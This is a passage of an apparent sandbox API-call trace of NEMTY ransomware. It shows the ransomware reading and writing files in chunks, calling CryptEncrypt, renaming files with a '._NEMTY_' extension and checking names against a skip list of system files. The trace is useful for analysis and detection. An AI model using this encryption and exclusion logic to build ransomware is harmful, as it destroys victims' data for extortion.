lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.654] CloseHandle (hObject=0xffffffff) returned 0 [0153.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\18.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\18.png._nemty_kgobjgd_")) returned 0 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.654] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868cd78e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868cd78e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="19.png", cAlternateFileName="")) returned 1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2=".") returned 1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="..") returned 1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="...") returned 1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="windows") returned -1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="$RECYCLE.BIN") returned 1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="rsa") returned -1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="NTDETECT.COM") returned -1 [0153.654] lstrcmpiW (lpString1="19.png", lpString2="ntldr") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="MSDOS.SYS") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="IO.SYS") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="boot.ini") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="boot.ini") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="ntuser.dat") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="desktop.ini") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="CONFIG.SYS") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="RECYCLER") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="BOOTSECT.BAK") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="bootmgr") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="programdata") returned -1 [0153.655] lstrcmpiW (lpString1="19.png", lpString2="appdata") returned -1 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="19.png", lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="19.png", lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="19.png", lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="19.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="19.png", lpUsedDefaultChar=0x0) returned 6 [0153.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.655] Sleep (dwMilliseconds=0x5) [0153.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf3bec70, dwHighDateTime=0x1d561e8)) [0153.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf3bec70, dwHighDateTime=0x1d561e8)) [0153.658] GetLastError () returned 0x5 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.658] GetLastError () returned 0x5 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.658] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.658] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="5+/g4Mx5XdJ1vuWBZgSEH4gDDq0YBs4UCPP9jP2kHDYlWFgGRIHsDJb1acWw6MkG\r\n7zT7lBHzaFOLAg8pB9EOmVmOoI0OpJTkmz1WiczjxU6auM0qmVSMxYvhqKHSP418\r\nZ6G2CY6HEG2mJUvQfACV+jzPK3x/+hr3ixxQvIwGkeSoXMmohgxTyk4Rx/2iRLmE\r\nAv97ZIibPyjme3EivP5P4NGMjYjhMoHiM59jIUtUL3jV0KcWXy9nZ9FrzoOZMUTH\r\nTG439mtkmnRpUqBa4ZPa4HBHIFpoQcjceZ76xK+psR4h3c81DwxFFL01b5YuFzd0\r\n6dq6eW5jMKmxyII/nSJjCQ==\r\n", pcchString=0x653e91c) returned 1 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.658] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.659] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | 